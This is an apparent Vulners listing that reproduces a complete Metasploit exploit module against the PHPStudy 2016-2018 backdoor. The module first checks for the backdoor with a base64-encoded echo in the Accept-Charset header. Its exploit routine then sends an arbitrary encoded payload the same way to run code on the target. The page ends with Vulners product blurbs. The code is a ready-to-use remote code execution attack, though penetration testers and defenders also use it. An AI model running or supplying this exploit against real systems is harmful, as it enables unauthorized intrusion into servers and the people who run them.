Lucene search
K

PHPStudy Backdoor Remote Code execution

🗓️ 22 Feb 2020 11:53:06Reported by Dimensional, AirevanType 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

PHPStudy Backdoor Remote Code execution module can detect and exploit the backdoor of PHPStudy

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHPStudy Backdoor Remote Code execution',
        'Description' => %q{
          This module can detect and exploit the backdoor of PHPStudy.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Dimensional', # POC
          'Airevan' # Metasploit Module
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['PHPStudy 2016-2018', {}]
        ],
        'References' => [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
        'Privileged' => false,
        'DisclosureDate' => '2019-09-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the target file on the system, usually l.php or index.php', '/l.php'])
      ]
    )
  end

  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'headers' => {
        'Accept-Encoding' => 'gzip,deflate',
        'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    print_good('Sending shellcode')
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'headers' => {
        'Accept-Encoding' => 'gzip,deflate',
        'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation